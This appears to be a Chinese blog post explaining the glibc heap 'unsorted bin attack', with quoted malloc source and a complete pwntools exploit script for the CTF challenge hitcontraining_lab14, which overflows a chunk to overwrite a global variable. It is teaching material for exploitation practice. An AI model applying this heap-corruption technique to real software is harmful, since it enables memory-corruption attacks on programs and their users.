0x00 原理

Unsorted_bin_attack 是一种比较基础的堆利用手法,常用于可以通过溢出,uaf或其它一些手法控制Unsorted_bin中末尾块(unsorted_arena->bk)的bk指针域的情形。

unsorted_bin是双链表结构,arena中fd指向链表首,bk指向链表尾。并且其中的chunk遵循头部插入尾部取出的规则。值得一提的是,首chunk的bk和尾chunk的fd都指向arena。

利用点在于尾部取出的过程,先来看glibc中相关的源码:

        while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
            bck = victim->bk;
            if (__builtin_expect(chunksize_nomask(victim) <= 2 * SIZE_SZ, 0) ||
                __builtin_expect(chunksize_nomask(victim) > av->system_mem, 0))
                malloc_printerr(check_action, "malloc(): memory corruption",
                                chunk2mem(victim), av);
            size = chunksize(victim);

            /*
               If a small request, try to use last remainder if it is the
               only chunk in unsorted bin.  This helps promote locality for
               runs of consecutive small requests. This is the only
               exception to best-fit, and applies only when there is
               no exact fit for a small chunk.
             */
            /* 显然,bck被修改,并不符合这里的要求*/
            if (in_smallbin_range(nb) && bck == unsorted_chunks(av) &&
                victim == av->last_remainder &&
                (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) {
                ....
            }

            /* remove from unsorted list */
            unsorted_chunks(av)->bk = bck;
            bck->fd                 = unsorted_chunks(av);

可以发现,取出尾chunk时会将arena中的bk指向尾chunk的fd,也就是上一个chunk的位置,同时会将上一个chunk的fd改写为arena的地址。这意味着,如果在取出尾部chunk前,我们如果将尾部chunk的bk修改为tartget_addr-0x10(fd被改掉不会直接报错,但是可能会破坏链表),那么在取出后,target的值就会被覆盖为arena的地址。

上一个拙劣的图:

看似被覆盖的值不受控制,但是可以达到很对目的,比如:

  • 修改某些判断条件中的常数
  • 修改循环的计数变量
  • 修改glibc中max_fastbin_size的大小,使得可以创建更大的fastbin,为下一步fastbin attack做准备
  • others...

0x01 举例:hitcontraining_lab14

题目内容就不放了,可以自己找。主要还是分配,编辑,释放三大功能,其中分配和编辑的大小都是自定义的,没有严格检查,所以存在堆溢出。利用溢出直接修改unsorted_chunk的bk域便可以实现unsorted_bin_attack。

exp:

from pwn import *

p = process("./magicheap")
elf = ELF("./magicheap")
libc = ELF("./libc.so.6")

magic_addr = 0x6020C0

context.log_level = "debug"

def create(size:int,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())  
    p.recvuntil(b"Content of heap:")
    p.send(content)
    
def edit(index:int,size:int,content):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    p.recvuntil(b"Size of Heap : ")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content of heap : ")
    p.send(content)
    
def delete(index:int):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index :")
    p.sendline(str(index).encode())
    
def exp():
    create(0x10,b"aaaa") #idx0
    create(0x80,b"aaaa") #idx1
    create(0x10,b"aaaa") #idx2
    delete(1)
    #gdb.attach(p)
    edit(0,0x30,b"a"*0x10+p64(0)+p64(0x91)+b"a"*8+p64(magic_addr-0x10))
    gdb.attach(p)
    create(0x80,b"bbbb") #idx1
    p.recvuntil(b"Your choice :")
    p.sendline(b"4869")
    p.recvall()
    pass
    
if __name__=="__main__":
    exp()

标签: none

添加新评论